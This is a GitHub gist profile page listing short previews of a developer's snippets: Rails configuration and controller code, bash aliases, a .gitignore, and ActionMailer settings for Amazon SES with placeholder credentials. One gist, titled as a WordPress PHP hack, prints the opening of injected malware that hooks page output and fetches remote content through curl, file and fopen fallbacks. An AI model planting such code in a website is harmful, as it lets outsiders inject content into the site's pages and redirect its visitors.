Skip to content

Instantly share code, notes, and snippets.

View amster's full-sized avatar
🎹

Amy Lee amster

🎹
View GitHub Profile
# This file is used by Rack-based servers to start the application.
require ::File.expand_path('../config/environment', __FILE__)
class TestMiddleware
def initialize(app)
@app = app
end
def call(env)
# Amy's Bash .profile or .bash_profile aliases
# Unix, Git, Memcached
alias cls='clear'
alias dir='ls -alF'
alias e='emacs -nw'
alias gitcp='git cherry-pick'
alias gitl='git log --pretty=oneline -3 --color --name-status | cat'
alias gitl25='git log --pretty=oneline -25 --color | cat'
alias gitlf='git log --pretty=full -5 --color --name-status | cat'
@amster
amster / .gitignore
Created March 31, 2011 15:06
My .gitignore
*.gem
.bundle
.gitignore.swp
.sass*
config/database.yml
config/s3.yml
db/*sqlite*
db/schema.rb
doc/*
log/*
@amster
amster / gist:903117
Created April 5, 2011 06:20
Haml form_for with :remote => true
= form_for @my_model, :remote => true do |f|
= f.label :name
= f.text_field :name
= f.label :address, 'Address'
= f.text_area :address
%input.submit-button{:type => 'button', :value => 'Add Entry'}
$('form .submit-button').click(function () { $(this).parents('form:first').submit(); });
$('form').bind('ajax:success', function () { alert('it works'); });
def create
@my_model = MyModel.new(params[:my_model])
respond_to do |format|
if @my_model.save
format.html { redirect_to(my_models_path, :notice => 'Success') }
format.js { render :json => { :success => true, :message => "Success"} }
format.xml { render :xml => @my_model, :status => :created, :location => @my_model }
else
format.html { render :action => "new" }
def create
@my_model = MyModel.new(params[:my_model])
respond_to do |format|
if @my_model.save
format.html { redirect_to(my_models_path, :notice => 'Success') }
format.js { render :json => { :success => true, :message => "Success"}, :content_type => 'text/json' }
format.xml { render :xml => @my_model, :status => :created, :location => @my_model }
else
format.html { render :action => "new" }
@amster
amster / gist:1964927
Created March 3, 2012 07:56
WordPress PHP hack, a.k.a. eval(base64_decode('aWYoZ...
if (function_exists('ob_start') && !isset($_SERVER['mr_no'])) {
$_SERVER['mr_no'] = 1;
if (!function_exists('mrobh')) {
function get_tds_777($url) {
$content = "";
$content = @trycurl_777($url);
if ($content !== false) return $content;
$content = @tryfile_777($url);
if ($content !== false) return $content;
$content = @tryfopen_777($url);
@amster
amster / gist:4354906
Created December 21, 2012 18:49
Ruby local scoping: when exceptions happen or not.
def a
# Should error because it's not assigned in the current scope.
puts foobar
end
def b
# This code path isn't run but it's still in the same scope.
if false
foobar = 123
end
@amster
amster / gist:4430943
Created January 1, 2013 23:22
ActionMailer settings in production.rb (that also work with Devise) to connect to Amazon SES
config.action_mailer.raise_delivery_errors = true
config.action_mailer.default_url_options = { :host => 'YOURDOMAIN.com'}
config.action_mailer.smtp_settings = {
:address => 'email-smtp.us-east-1.amazonaws.com', # See the SES SMTP Settings dashboard
:port => '25',
:domain => 'YOURDOMAIN.com', # Your domain
:user_name => 'ABCDEFGHIJKLMNOPQRSTUVWXYZ123456', # New SMTP credentials, NOT AWS CREDENTIALS!
:password => 'ABCDEFGHIJKLMNOPQRSTUVWXYZ123456', # New SMTP credentials, NOT AWS CREDENTIALS!
:authentication => :login
}